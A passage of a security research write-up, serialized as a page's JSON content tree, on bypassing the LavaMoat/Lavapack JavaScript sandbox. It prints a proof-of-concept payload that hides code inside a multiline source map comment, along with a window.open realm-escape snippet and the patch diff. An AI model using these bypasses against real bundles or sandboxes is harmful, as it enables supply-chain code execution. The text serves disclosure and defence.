maps",{"type":23,"tag":134,"props":48219,"children":48220},{"style":168},[48221],{"type":28,"value":171},{"type":23,"tag":134,"props":48223,"children":48224},{"style":162},[48225],{"type":28,"value":48167},{"type":23,"tag":134,"props":48227,"children":48228},{"style":168},[48229],{"type":28,"value":13653},{"type":23,"tag":134,"props":48231,"children":48232},{"style":162},[48233],{"type":28,"value":48167},{"type":23,"tag":134,"props":48235,"children":48236},{"style":179},[48237],{"type":28,"value":720},{"type":23,"tag":134,"props":48239,"children":48240},{"style":264},[48241],{"type":28,"value":48242},"toObject",{"type":23,"tag":134,"props":48244,"children":48245},{"style":179},[48246],{"type":28,"value":7194},{"type":23,"tag":134,"props":48248,"children":48249},{"class":136,"line":332},[48250,48254,48259,48263,48267,48271,48276,48280,48284],{"type":23,"tag":134,"props":48251,"children":48252},{"style":151},[48253],{"type":28,"value":35686},{"type":23,"tag":134,"props":48255,"children":48256},{"style":162},[48257],{"type":28,"value":48258}," code",{"type":23,"tag":134,"props":48260,"children":48261},{"style":168},[48262],{"type":28,"value":171},{"type":23,"tag":134,"props":48264,"children":48265},{"style":162},[48266],{"type":28,"value":48176},{"type":23,"tag":134,"props":48268,"children":48269},{"style":179},[48270],{"type":28,"value":720},{"type":23,"tag":134,"props":48272,"children":48273},{"style":264},[48274],{"type":28,"value":48275},"removeComments",{"type":23,"tag":134,"props":48277,"children":48278},{"style":179},[48279],{"type":28,"value":272},{"type":23,"tag":134,"props":48281,"children":48282},{"style":162},[48283],{"type":28,"value":37512},{"type":23,"tag":134,"props":48285,"children":48286},{"style":179},[48287],{"type":28,"value":329},{"type":23,"tag":134,"props":48289,"children":48290},{"class":136,"line":438},[48291,48295,48299,48303,48307,48312],{"type":23,"tag":134,"props":48292,"children":48293},{"style":189},[48294],{"type":28,"value":38697},{"type":23,"tag":134,"props":48296,"children":48297},{"style":179},[48298],{"type":28,"value":9049},{"type":23,"tag":134,"props":48300,"children":48301},{"style":162},[48302],{"type":28,"value":92},{"type":23,"tag":134,"props":48304,"children":48305},{"style":179},[48306],{"type":28,"value":242},{"type":23,"tag":134,"props":48308,"children":48309},{"style":162},[48310],{"type":28,"value":48311},"maps",{"type":23,"tag":134,"props":48313,"children":48314},{"style":179},[48315],{"type":28,"value":9059},{"type":23,"tag":134,"props":48317,"children":48318},{"class":136,"line":466},[48319],{"type":23,"tag":134,"props":48320,"children":48321},{"style":179},[48322],{"type":28,"value":1098},{"type":23,"tag":24,"props":48324,"children":48325},{},[48326,48328,48333,48335,48340],{"type":28,"value":48327},"This code removes the source map comments of the source code, meaning that there actually is a modification of source code in Lavapack after the ",{"type":23,"tag":92,"props":48329,"children":48331},{"className":48330},[],[48332],{"type":28,"value":47770},{"type":28,"value":48334}," stage. Reviewing the ",{"type":23,"tag":92,"props":48336,"children":48338},{"className":48337},[],[48339],{"type":28,"value":48122},{"type":28,"value":48341}," code, we can see exactly how this happens.",{"type":23,"tag":87,"props":48343,"children":48345},{"className":30858,"code":48344,"language":30860,"meta":7,"style":7},"Object.defineProperty(exports, 'commentRegex', {\n  get: function getCommentRegex () {\n    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n    return /^\\s*?\\/[\\/\\*][@#]\\s+?sourceMappingURL=data:(((?:application|text)\\/json)(?:;charset=([^;,]+?)?)?)?(?:;(base64))?,(.*?)$/mg;\n  }\n});\n\nexports.removeComments = function (src) {\n  return src.replace(exports.commentRegex, '');\n};\n",[48346],{"type":23,"tag":92,"props":48347,"children":48348},{"__ignoreMap":7},[48349,48388,48414,48422,48636,48643,48650,48657,48692,48742],{"type":23,"tag":134,"props":48350,"children":48351},{"class":136,"line":137},[48352,48357,48361,48366,48370,48374,48378,48383],{"type":23,"tag":134,"props":48353,"children":48354},{"style":162},[48355],{"type":28,"value":48356},"Object",{"type":23,"tag":134,"props":48358,"children":48359},{"style":179},[48360],{"type":28,"value":720},{"type":23,"tag":134,"props":48362,"children":48363},{"style":264},[48364],{"type":28,"value":48365},"defineProperty",{"type":23,"tag":134,"props":48367,"children":48368},{"style":179},[48369],{"type":28,"value":272},{"type":23,"tag":134,"props":48371,"children":48372},{"style":597},[48373],{"type":28,"value":37384},{"type":23,"tag":134,"props":48375,"children":48376},{"style":179},[48377],{"type":28,"value":242},{"type":23,"tag":134,"props":48379,"children":48380},{"style":1461},[48381],{"type":28,"value":48382},"'commentRegex'",{"type":23,"tag":134,"props":48384,"children":48385},{"style":179},[48386],{"type":28,"value":48387},", {\n",{"type":23,"tag":134,"props":48389,"children":48390},{"class":136,"line":147},[48391,48396,48400,48404,48409],{"type":23,"tag":134,"props":48392,"children":48393},{"style":264},[48394],{"type":28,"value":48395},"  get",{"type":23,"tag":134,"props":48397,"children":48398},{"style":162},[48399],{"type":28,"value":1697},{"type":23,"tag":134,"props":48401,"children":48402},{"style":151},[48403],{"type":28,"value":37712},{"type":23,"tag":134,"props":48405,"children":48406},{"style":264},[48407],{"type":28,"value":48408}," getCommentRegex",{"type":23,"tag":134,"props":48410,"children":48411},{"style":179},[48412],{"type":28,"value":48413}," () {\n",{"type":23,"tag":134,"props":48415,"children":48416},{"class":136,"line":185},[48417],{"type":23,"tag":134,"props":48418,"children":48419},{"style":141},[48420],{"type":28,"value":48421},"    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n",{"type":23,"tag":134,"props":48423,"children":48424},{"class":136,"line":221},[48425,48429,48435,48440,48445,48450,48454,48459,48464,48469,48473,48477,48482,48487,48492,48497,48501,48505,48509,48514,48518,48523,48528,48533,48538,48542,48546,48550,48554,48558,48562,48566,48570,48575,48580,48584,48589,48594,48598,48602,48606,48610,48615,48619,48623,48627,48632],{"type":23,"tag":134,"props":48426,"children":48427},{"style":189},[48428],{"type":28,"value":16461},{"type":23,"tag":134,"props":48430,"children":48432},{"style":48431},"--shiki-default:#D16969",[48433],{"type":28,"value":48434}," /",{"type":23,"tag":134,"props":48436,"children":48437},{"style":264},[48438],{"type":28,"value":48439},"^",{"type":23,"tag":134,"props":48441,"children":48442},{"style":48431},[48443],{"type":28,"value":48444},"\\s",{"type":23,"tag":134,"props":48446,"children":48447},{"style":47878},[48448],{"type":28,"value":48449},"*?\\/",{"type":23,"tag":134,"props":48451,"children":48452},{"style":1461},[48453],{"type":28,"value":924},{"type":23,"tag":134,"props":48455,"children":48456},{"style":47878},[48457],{"type":28,"value":48458},"\\/\\*",{"type":23,"tag":134,"props":48460,"children":48461},{"style":1461},[48462],{"type":28,"value":48463},"][",{"type":23,"tag":134,"props":48465,"children":48466},{"style":48431},[48467],{"type":28,"value":48468},"@#",{"type":23,"tag":134,"props":48470,"children":48471},{"style":1461},[48472],{"type":28,"value":14880},{"type":23,"tag":134,"props":48474,"children":48475},{"style":48431},[48476],{"type":28,"value":48444},{"type":23,"tag":134,"props":48478,"children":48479},{"style":47878},[48480],{"type":28,"value":48481},"+?",{"type":23,"tag":134,"props":48483,"children":48484},{"style":48431},[48485],{"type":28,"value":48486},"sourceMappingURL=data:",{"type":23,"tag":134,"props":48488,"children":48489},{"style":1461},[48490],{"type":28,"value":48491},"(((?:",{"type":23,"tag":134,"props":48493,"children":48494},{"style":48431},[48495],{"type":28,"value":48496},"application",{"type":23,"tag":134,"props":48498,"children":48499},{"style":264},[48500],{"type":28,"value":9881},{"type":23,"tag":134,"props":48502,"children":48503},{"style":48431},[48504],{"type":28,"value":28},{"type":23,"tag":134,"props":48506,"children":48507},{"style":1461},[48508],{"type":28,"value":296},{"type":23,"tag":134,"props":48510,"children":48511},{"style":47878},[48512],{"type":28,"value":48513},"\\/",{"type":23,"tag":134,"props":48515,"children":48516},{"style":48431},[48517],{"type":28,"value":33494},{"type":23,"tag":134,"props":48519,"children":48520},{"style":1461},[48521],{"type":28,"value":48522},")(?:",{"type":23,"tag":134,"props":48524,"children":48525},{"style":48431},[48526],{"type":28,"value":48527},";charset=",{"type":23,"tag":134,"props":48529,"children":48530},{"style":1461},[48531],{"type":28,"value":48532},"([^",{"type":23,"tag":134,"props":48534,"children":48535},{"style":48431},[48536],{"type":28,"value":48537},";,",{"type":23,"tag":134,"props":48539,"children":48540},{"style":1461},[48541],{"type":28,"value":14880},{"type":23,"tag":134,"props":48543,"children":48544},{"style":47878},[48545],{"type":28,"value":48481},{"type":23,"tag":134,"props":48547,"children":48548},{"style":1461},[48549],{"type":28,"value":296},{"type":23,"tag":134,"props":48551,"children":48552},{"style":47878},[48553],{"type":28,"value":324},{"type":23,"tag":134,"props":48555,"children":48556},{"style":1461},[48557],{"type":28,"value":296},{"type":23,"tag":134,"props":48559,"children":48560},{"style":47878},[48561],{"type":28,"value":324},{"type":23,"tag":134,"props":48563,"children":48564},{"style":1461},[48565],{"type":28,"value":296},{"type":23,"tag":134,"props":48567,"children":48568},{"style":47878},[48569],{"type":28,"value":324},{"type":23,"tag":134,"props":48571,"children":48572},{"style":1461},[48573],{"type":28,"value":48574},"(?:",{"type":23,"tag":134,"props":48576,"children":48577},{"style":48431},[48578],{"type":28,"value":48579},";",{"type":23,"tag":134,"props":48581,"children":48582},{"style":1461},[48583],{"type":28,"value":272},{"type":23,"tag":134,"props":48585,"children":48586},{"style":48431},[48587],{"type":28,"value":48588},"base64",{"type":23,"tag":134,"props":48590,"children":48591},{"style":1461},[48592],{"type":28,"value":48593},"))",{"type":23,"tag":134,"props":48595,"children":48596},{"style":47878},[48597],{"type":28,"value":324},{"type":23,"tag":134,"props":48599,"children":48600},{"style":48431},[48601],{"type":28,"value":1327},{"type":23,"tag":134,"props":48603,"children":48604},{"style":1461},[48605],{"type":28,"value":272},{"type":23,"tag":134,"props":48607,"children":48608},{"style":48431},[48609],{"type":28,"value":720},{"type":23,"tag":134,"props":48611,"children":48612},{"style":47878},[48613],{"type":28,"value":48614},"*?",{"type":23,"tag":134,"props":48616,"children":48617},{"style":1461},[48618],{"type":28,"value":296},{"type":23,"tag":134,"props":48620,"children":48621},{"style":264},[48622],{"type":28,"value":9753},{"type":23,"tag":134,"props":48624,"children":48625},{"style":48431},[48626],{"type":28,"value":1787},{"type":23,"tag":134,"props":48628,"children":48629},{"style":151},[48630],{"type":28,"value":48631},"mg",{"type":23,"tag":134,"props":48633,"children":48634},{"style":179},[48635],{"type":28,"value":182},{"type":23,"tag":134,"props":48637,"children":48638},{"class":136,"line":332},[48639],{"type":23,"tag":134,"props":48640,"children":48641},{"style":179},[48642],{"type":28,"value":5328},{"type":23,"tag":134,"props":48644,"children":48645},{"class":136,"line":438},[48646],{"type":23,"tag":134,"props":48647,"children":48648},{"style":179},[48649],{"type":28,"value":34835},{"type":23,"tag":134,"props":48651,"children":48652},{"class":136,"line":466},[48653],{"type":23,"tag":134,"props":48654,"children":48655},{"emptyLinePlaceholder":15},[48656],{"type":28,"value":865},{"type":23,"tag":134,"props":48658,"children":48659},{"class":136,"line":479},[48660,48664,48668,48672,48676,48680,48684,48688],{"type":23,"tag":134,"props":48661,"children":48662},{"style":597},[48663],{"type":28,"value":37384},{"type":23,"tag":134,"props":48665,"children":48666},{"style":179},[48667],{"type":28,"value":720},{"type":23,"tag":134,"props":48669,"children":48670},{"style":264},[48671],{"type":28,"value":48275},{"type":23,"tag":134,"props":48673,"children":48674},{"style":168},[48675],{"type":28,"value":171},{"type":23,"tag":134,"props":48677,"children":48678},{"style":151},[48679],{"type":28,"value":37712},{"type":23,"tag":134,"props":48681,"children":48682},{"style":179},[48683],{"type":28,"value":232},{"type":23,"tag":134,"props":48685,"children":48686},{"style":162},[48687],{"type":28,"value":32165},{"type":23,"tag":134,"props":48689,"children":48690},{"style":179},[48691],{"type":28,"value":14272},{"type":23,"tag":134,"props":48693,"children":48694},{"class":136,"line":497},[48695,48699,48703,48707,48712,48716,48720,48724,48729,48733,48738],{"type":23,"tag":134,"props":48696,"children":48697},{"style":189},[48698],{"type":28,"value":38697},{"type":23,"tag":134,"props":48700,"children":48701},{"style":162},[48702],{"type":28,"value":47866},{"type":23,"tag":134,"props":48704,"children":48705},{"style":179},[48706],{"type":28,"value":720},{"type":23,"tag":134,"props":48708,"children":48709},{"style":264},[48710],{"type":28,"value":48711},"replace",{"type":23,"tag":134,"props":48713,"children":48714},{"style":179},[48715],{"type":28,"value":272},{"type":23,"tag":134,"props":48717,"children":48718},{"style":597},[48719],{"type":28,"value":37384},{"type":23,"tag":134,"props":48721,"children":48722},{"style":179},[48723],{"type":28,"value":720},{"type":23,"tag":134,"props":48725,"children":48726},{"style":162},[48727],{"type":28,"value":48728},"commentRegex",{"type":23,"tag":134,"props":48730,"children":48731},{"style":179},[48732],{"type":28,"value":242},{"type":23,"tag":134,"props":48734,"children":48735},{"style":1461},[48736],{"type":28,"value":48737},"''",{"type":23,"tag":134,"props":48739,"children":48740},{"style":179},[48741],{"type":28,"value":1021},{"type":23,"tag":134,"props":48743,"children":48744},{"class":136,"line":518},[48745],{"type":23,"tag":134,"props":48746,"children":48747},{"style":179},[48748],{"type":28,"value":16048},{"type":23,"tag":24,"props":48750,"children":48751},{},[48752,48754,48760],{"type":28,"value":48753},"Looking deeper at the RegEx, it matches the start of the multiple line comment (",{"type":23,"tag":92,"props":48755,"children":48757},{"className":48756},[],[48758],{"type":28,"value":48759},"/*",{"type":28,"value":48761},") but doesn't match the end of it, meaning that the syntax would break in the case of multiline source map comments.",{"type":23,"tag":9072,"props":48763,"children":48765},{"id":48764},"the-bypass",[48766],{"type":28,"value":48767},"The Bypass",{"type":23,"tag":24,"props":48769,"children":48770},{},[48771,48773,48778,48780,48785],{"type":28,"value":48772},"By abusing the ",{"type":23,"tag":92,"props":48774,"children":48776},{"className":48775},[],[48777],{"type":28,"value":48275},{"type":28,"value":48779}," function, we could bypass the Lavamoat restrictions by escaping the ",{"type":23,"tag":92,"props":48781,"children":48783},{"className":48782},[],[48784],{"type":28,"value":47619},{"type":28,"value":48786}," sandbox. To do so, we created a multiline source map comment, and injected the invalid javascript inside the comment:",{"type":23,"tag":87,"props":48788,"children":48790},{"className":30858,"code":48789,"language":30860,"meta":7,"style":7},"/*# sourceMappingURL=data:,{}\n\n}}}}\n}, {\n    package: \"xpl\",\n    file: \"node_modules/xpl/index.js\",\n    test: alert(document.domain),\n    test1: () => { () => { () => { () => {\n\n/*\n*/\n",[48791],{"type":23,"tag":92,"props":48792,"children":48793},{"__ignoreMap":7},[48794,48802,48809,48817,48825,48833,48841,48849,48857,48864,48872],{"type":23,"tag":134,"props":48795,"children":48796},{"class":136,"line":137},[48797],{"type":23,"tag":134,"props":48798,"children":48799},{"style":141},[48800],{"type":28,"value":48801},"/*# sourceMappingURL=data:,{}\n",{"type":23,"tag":134,"props":48803,"children":48804},{"class":136,"line":147},[48805],{"type":23,"tag":134,"props":48806,"children":48807},{"emptyLinePlaceholder":15},[48808],{"type":28,"value":865},{"type":23,"tag":134,"props":48810,"children":48811},{"class":136,"line":185},[48812],{"type":23,"tag":134,"props":48813,"children":48814},{"style":141},[48815],{"type":28,"value":48816},"}}}}\n",{"type":23,"tag":134,"props":48818,"children":48819},{"class":136,"line":221},[48820],{"type":23,"tag":134,"props":48821,"children":48822},{"style":141},[48823],{"type":28,"value":48824},"}, {\n",{"type":23,"tag":134,"props":48826,"children":48827},{"class":136,"line":332},[48828],{"type":23,"tag":134,"props":48829,"children":48830},{"style":141},[48831],{"type":28,"value":48832},"    package: \"xpl\",\n",{"type":23,"tag":134,"props":48834,"children":48835},{"class":136,"line":438},[48836],{"type":23,"tag":134,"props":48837,"children":48838},{"style":141},[48839],{"type":28,"value":48840},"    file: \"node_modules/xpl/index.js\",\n",{"type":23,"tag":134,"props":48842,"children":48843},{"class":136,"line":466},[48844],{"type":23,"tag":134,"props":48845,"children":48846},{"style":141},[48847],{"type":28,"value":48848},"    test: alert(document.domain),\n",{"type":23,"tag":134,"props":48850,"children":48851},{"class":136,"line":479},[48852],{"type":23,"tag":134,"props":48853,"children":48854},{"style":141},[48855],{"type":28,"value":48856},"    test1: () => { () => { () => { () => {\n",{"type":23,"tag":134,"props":48858,"children":48859},{"class":136,"line":497},[48860],{"type":23,"tag":134,"props":48861,"children":48862},{"emptyLinePlaceholder":15},[48863],{"type":28,"value":865},{"type":23,"tag":134,"props":48865,"children":48866},{"class":136,"line":518},[48867],{"type":23,"tag":134,"props":48868,"children":48869},{"style":141},[48870],{"type":28,"value":48871},"/*\n",{"type":23,"tag":134,"props":48873,"children":48874},{"class":136,"line":527},[48875],{"type":23,"tag":134,"props":48876,"children":48877},{"style":141},[48878],{"type":28,"value":48879},"*/\n",{"type":23,"tag":24,"props":48881,"children":48882},{},[48883],{"type":28,"value":48884},"This allows malicious code to execute without breaking any other package or feature. This payload also makes the supply chain attack more impactful. Any injected code is executed as soon as the bundle file is imported.",{"type":23,"tag":9072,"props":48886,"children":48888},{"id":48887},"lavapack-patch",[48889],{"type":28,"value":48890},"Lavapack Patch",{"type":23,"tag":24,"props":48892,"children":48893},{},[48894,48896,48902],{"type":28,"value":48895},"Metamask mitigated the issues we reported on Lavapack by defining ",{"type":23,"tag":92,"props":48897,"children":48899},{"className":48898},[],[48900],{"type":28,"value":48901},"assertValidJS",{"type":28,"value":48903},", an independent check that differs from the browserify syntax check we used to exploit the issue.",{"type":23,"tag":24,"props":48905,"children":48906},{},[48907,48909,48916],{"type":28,"value":48908},"The patch was introduced in commit ",{"type":23,"tag":31,"props":48910,"children":48913},{"href":48911,"rel":48912},"https://github.com/LavaMoat/LavaMoat/commit/9c38cd47e7875dde53349dd34971c74ce34004d9",[35],[48914],{"type":28,"value":48915},"9c38cd4",{"type":28,"value":720},{"type":23,"tag":87,"props":48918,"children":48920},{"className":39859,"code":48919,"language":39861,"meta":7,"style":7},"+ function assertValidJS(code) {\n+  try {\n+    new Function(code)\n+  } catch (err) {\n+    throw new Error(`Invalid JavaScript: ${err.message}`)\n+  }\n+ }\n\n+  // additional layer of syntax checking independent of browserify\n+  assertValidJS(sourceMeta.code) \n\n",[48921],{"type":23,"tag":92,"props":48922,"children":48923},{"__ignoreMap":7},[48924,48932,48940,48948,48956,48964,48972,48980,48987,48995],{"type":23,"tag":134,"props":48925,"children":48926},{"class":136,"line":137},[48927],{"type":23,"tag":134,"props":48928,"children":48929},{"style":205},[48930],{"type":28,"value":48931},"+ function assertValidJS(code) {\n",{"type":23,"tag":134,"props":48933,"children":48934},{"class":136,"line":147},[48935],{"type":23,"tag":134,"props":48936,"children":48937},{"style":205},[48938],{"type":28,"value":48939},"+  try {\n",{"type":23,"tag":134,"props":48941,"children":48942},{"class":136,"line":185},[48943],{"type":23,"tag":134,"props":48944,"children":48945},{"style":205},[48946],{"type":28,"value":48947},"+    new Function(code)\n",{"type":23,"tag":134,"props":48949,"children":48950},{"class":136,"line":221},[48951],{"type":23,"tag":134,"props":48952,"children":48953},{"style":205},[48954],{"type":28,"value":48955},"+  } catch (err) {\n",{"type":23,"tag":134,"props":48957,"children":48958},{"class":136,"line":332},[48959],{"type":23,"tag":134,"props":48960,"children":48961},{"style":205},[48962],{"type":28,"value":48963},"+    throw new Error(`Invalid JavaScript: ${err.message}`)\n",{"type":23,"tag":134,"props":48965,"children":48966},{"class":136,"line":438},[48967],{"type":23,"tag":134,"props":48968,"children":48969},{"style":205},[48970],{"type":28,"value":48971},"+  }\n",{"type":23,"tag":134,"props":48973,"children":48974},{"class":136,"line":466},[48975],{"type":23,"tag":134,"props":48976,"children":48977},{"style":205},[48978],{"type":28,"value":48979},"+ }\n",{"type":23,"tag":134,"props":48981,"children":48982},{"class":136,"line":479},[48983],{"type":23,"tag":134,"props":48984,"children":48985},{"emptyLinePlaceholder":15},[48986],{"type":28,"value":865},{"type":23,"tag":134,"props":48988,"children":48989},{"class":136,"line":497},[48990],{"type":23,"tag":134,"props":48991,"children":48992},{"style":205},[48993],{"type":28,"value":48994},"+  // additional layer of syntax checking independent of browserify\n",{"type":23,"tag":134,"props":48996,"children":48997},{"class":136,"line":518},[48998],{"type":23,"tag":134,"props":48999,"children":49000},{"style":205},[49001],{"type":28,"value":49002},"+  assertValidJS(sourceMeta.code)\n",{"type":23,"tag":61,"props":49004,"children":49006},{"id":49005},"hacking-js-realms",[49007],{"type":28,"value":49008},"Hacking JS Realms",{"type":23,"tag":24,"props":49010,"children":49011},{},[49012,49014,49019],{"type":28,"value":49013},"Lavamoat scuttling removes unnecessary and dangerous attributes from the ",{"type":23,"tag":92,"props":49015,"children":49017},{"className":49016},[],[49018],{"type":28,"value":36915},{"type":28,"value":49020}," object. However, this can be easily bypassed when Lavamoat is running in a browser context.",{"type":23,"tag":87,"props":49022,"children":49024},{"className":30858,"code":49023,"language":30860,"meta":7,"style":7},"const w = window.open('/non_existent');\nw.alert(document.domain)\n",[49025],{"type":23,"tag":92,"props":49026,"children":49027},{"__ignoreMap":7},[49028,49070],{"type":23,"tag":134,"props":49029,"children":49030},{"class":136,"line":137},[49031,49035,49040,49044,49048,49052,49057,49061,49066],{"type":23,"tag":134,"props":49032,"children":49033},{"style":151},[49034],{"type":28,"value":9119},{"type":23,"tag":134,"props":49036,"children":49037},{"style":162},[49038],{"type":28,"value":49039}," w",{"type":23,"tag":134,"props":49041,"children":49042},{"style":168},[49043],{"type":28,"value":171},{"type":23,"tag":134,"props":49045,"children":49046},{"style":162},[49047],{"type":28,"value":30903},{"type":23,"tag":134,"props":49049,"children":49050},{"style":179},[49051],{"type":28,"value":720},{"type":23,"tag":134,"props":49053,"children":49054},{"style":264},[49055],{"type":28,"value":49056},"open",{"type":23,"tag":134,"props":49058,"children":49059},{"style":179},[49060],{"type":28,"value":272},{"type":23,"tag":134,"props":49062,"children":49063},{"style":1461},[49064],{"type":28,"value":49065},"'/non_existent'",{"type":23,"tag":134,"props":49067,"children":49068},{"style":179},[49069],{"type":28,"value":1021},{"type":23,"tag":134,"props":49071,"children":49072},{"class":136,"line":147},[49073,49078,49082,49086,49090,49094,49098,49102],{"type":23,"tag":134,"props":49074,"children":49075},{"style":162},[49076],{"type":28,"value":49077},"w",{"type":23,"tag":134,"props":49079,"children":49080},{"style":179},[49081],{"type":28,"value":720},{"type":23,"tag":134,"props":49083,"children":49084},{"style":264},[49085],{"type":28,"value":32193},{"type":23,"tag":134,"props":49087,"children":49088},{"style":179},[49089],{"type":28,"value":272},{"type":23,"tag":134,"props":49091,"children":49092},{"style":162},[49093],{"type":28,"value":32203},{"type":23,"tag":134,"props":49095,"children":49096},{"style":179},[49097],{"type":28,"value":720},{"type":23,"tag":134,"props":49099,"children":49100},{"style":162},[49101],{"type":28,"value":32213},{"type":23,"tag":134,"props":49103,"children":49104},{"style":179},[49105],{"type":28,"value":329},{"type":23,"tag":24,"props":49107,"children":49108},{},[49109,49111,49116],{"type":28,"value":49110},"This opens a new window with a new JS Realm (another ",{"type":23,"tag":92,"props":49112,"children":49114},{"className":49113},[],[49115],{"type":28,"value":36915},{"type":28,"value":49117}," object), and uses it to execute code in the context of the scuttled window. Note that the window needs to be same-origin and must not be scuttled.",{"type":23,"tag":24,"props":49119,"children":49120},{},[49121,49123,49130],{"type":28,"value":49122},"As a mitigation, some applications integrate SnowJS with scuttling, so every new same-origin window and iframe will be detected and scuttled (check the ",{"type":23,"tag":31,"props":49124,"children":49127},{"href":49125,"rel":49126},"https://github.com/MetaMask/metamask-extension/blob/3996f505a6a156d96077acb49579e6fc9e78cd45/app/scripts/use-snow.js#L22",[35],[49128],{"type":28,"value":49129},"Metamask implementation",{"type":28,"value":296},{"type":23,"tag":9072,"props":49132,"children":49134},{"id":49133},"snowjs-attack-surface",[49135],{"type":28,"value":49136},"SnowJS Attack Surface",{"type":23,"tag":24,"props":49138,"children":49139},{},[49140],{"type":28,"value":49141},"SnowJS is a javascript sandbox implementation that secures same-origin realms in browser applications. It is configured to detect new realms and attach them to the sandbox.",{"type":23,"tag":24,"props":49143,"children":49144},{},[49145,49147,49154],{"type":28,"value":49146},"As a mechanism, it hooks functions that can be used to create realms (an iframe, for example). For example, here are some of the ",{"type":23,"tag":31,"props":49148,"children":49151},{"href":49149,"rel":49150},"https://github.com/LavaMoat/snow/blob/ecf1add05c774b90b8baeff934b2e40585e13ca4/src/inserters.js#L9",[35],[49152],{"type":28,"value":49153},"hooked inserters",{"type":28,"value":49155}," functions:",{"type":23,"tag":87,"props":49157,"children":49159},{"className":30858,"code":49158,"language":30860,"meta":7,"style":7},"const map = {\n    Range: ['insertNode'],\n    DocumentFragment: ['replaceChildren', 'append', 'prepend'],\n    Document: ['replaceChildren', 'append', 'prepend', 'write', 'writeln'],\n    Node: ['appendChild', 'insertBefore', 'replaceChild'],\n    Element: ['innerHTML', 'outerHTML', 'insertAdjacentHTML', 'replaceWith', 'insertAdjacentElement', 'append', 'before', 'prepend', 'after', 'replaceChildren'],\n    ShadowRoot: ['innerHTML'],\n    HTMLIFrameElement: ['srcdoc'],\n};\n",[49160],{"type":23,"tag":92,"props":49161,"children":49162},{"__ignoreMap":7},[49163,49183,49204,49243,49297,49336,49435,49455,49476],{"type":23,"tag":134,"props":49164,"children":49165},{"class":136,"line":137},[49166,49170,49175,49179],{"type":23,"tag":134,"props":49167,"children":49168},{"style":151},[49169],{"type":28,"value":9119},{"type":23,"tag":134,"props":49171,"children":49172},{"style":162},[49173],{"type":28,"value":49174}," map",{"type":23,"tag":134,"props":49176,"children":49177},{"style":168},[49178],{"type":28,"value":171},{"type":23,"tag":134,"props":49180,"children":49181},{"style":179},[49182],{"type":28,"value":463},{"type":23,"tag":134,"props":49184,"children":49185},{"class":136,"line":147},[49186,49191,49195,49200],{"type":23,"tag":134,"props":49187,"children":49188},{"style":162},[49189],{"type":28,"value":49190},"    Range:",{"type":23,"tag":134,"props":49192,"children":49193},{"style":179},[49194],{"type":28,"value":22511},{"type":23,"tag":134,"props":49196,"children":49197},{"style":1461},[49198],{"type":28,"value":49199},"'insertNode'",{"type":23,"tag":134,"props":49201,"children":49202},{"style":179},[49203],{"type":28,"value":13731},{"type":23,"tag":134,"props":49205,"children":49206},{"class":136,"line":185},[49207,49212,49216,49221,49225,49230,49234,49239],{"type":23,"tag":134,"props":49208,"children":49209},{"style":162},[49210],{"type":28,"value":49211},"    DocumentFragment:",{"type":23,"tag":134,"props":49213,"children":49214},{"style":179},[49215],{"type":28,"value":22511},{"type":23,"tag":134,"props":49217,"children":49218},{"style":1461},[49219],{"type":28,"value":49220},"'replaceChildren'",{"type":23,"tag":134,"props":49222,"children":49223},{"style":179},[49224],{"type":28,"value":242},{"type":23,"tag":134,"props":49226,"children":49227},{"style":1461},[49228],{"type":28,"value":49229},"'append'",{"type":23,"tag":134,"props":49231,"children":49232},{"style":179},[49233],{"type":28,"value":242},{"type":23,"tag":134,"props":49235,"children":49236},{"style":1461},[49237],{"type":28,"value":49238},"'prepend'",{"type":23,"tag":134,"props":49240,"children":49241},{"style":179},[49242],{"type":28,"value":13731},{"type":23,"tag":134,"props":49244,"children":49245},{"class":136,"line":221},[49246,49251,49255,49259,49263,49267,49271,49275,49279,49284,49288,49293],{"type":23,"tag":134,"props":49247,"children":49248},{"style":162},[49249],{"type":28,"value":49250},"    Document:",{"type":23,"tag":134,"props":49252,"children":49253},{"style":179},[49254],{"type":28,"value":22511},{"type":23,"tag":134,"props":49256,"children":49257},{"style":1461},[49258],{"type":28,"value":49220},{"type":23,"tag":134,"props":49260,"children":49261},{"style":179},[49262],{"type":28,"value":242},{"type":23,"tag":134,"props":49264,"children":49265},{"style":1461},[49266],{"type":28,"value":49229},{"type":23,"tag":134,"props":49268,"children":49269},{"style":179},[49270],{"type":28,"value":242},{"type":23,"tag":134,"props":49272,"children":49273},{"style":1461},[49274],{"type":28,"value":49238},{"type":23,"tag":134,"props":49276,"children":49277},{"style":179},[49278],{"type":28,"value":242},{"type":23,"tag":134,"props":49280,"children":49281},{"style":1461},[49282],{"type":28,"value":49283},"'write'",{"type":23,"tag":134,"props":49285,"children":49286},{"style":179},[49287],{"type":28,"value":242},{"type":23,"tag":134,"props":49289,"children":49290},{"style":1461},[49291],{"type":28,"value":49292},"'writeln'",{"type":23,"tag":134,"props":49294,"children":49295},{"style":179},[49296],{"type":28,"value":13731},{"type":23,"tag":134,"props":49298,"children":49299},{"class":136,"line":332},[49300,49305,49309,49314,49318,49323,49327,49332],{"type":23,"tag":134,"props":49301,"children":49302},{"style":162},[49303],{"type":28,"value":49304},"    Node:",{"type":23,"tag":134,"props":49306,"children":49307},{"style":179},[49308],{"type":28,"value":22511},{"type":23,"tag":134,"props":49310,"children":49311},{"style":1461},[49312],{"type":28,"value":49313},"'appendChild'",{"type":23,"tag":134,"props":49315,"children":49316},{"style":179},[49317],{"type":28,"value":242},{"type":23,"tag":134,"props":49319,"children":49320},{"style":1461},[49321],{"type":28,"value":49322},"'insertBefore'",{"type":23,"tag":134,"props":49324,"children":49325},{"style":179},[49326],{"type":28,"value":242},{"type":23,"tag":134,"props":49328,"children":49329},{"style":1461},[49330],{"type":28,"value":49331},"'replaceChild'",{"type":23,"tag":134,"props":49333,"children":49334},{"style":179},[49335],{"type":28,"value":13731},{"type":23,"tag":134,"props":49337,"children":49338},{"class":136,"line":438},[49339,49344,49348,49353,49357,49362,49366,49371,49375,49380,49384,49389,49393,49397,49401,49406,49410,49414,49418,49423,49427,49431],{"type":23,"tag":134,"props":49340,"children":49341},{"style":162},[49342],{"type":28,"value":49343},"    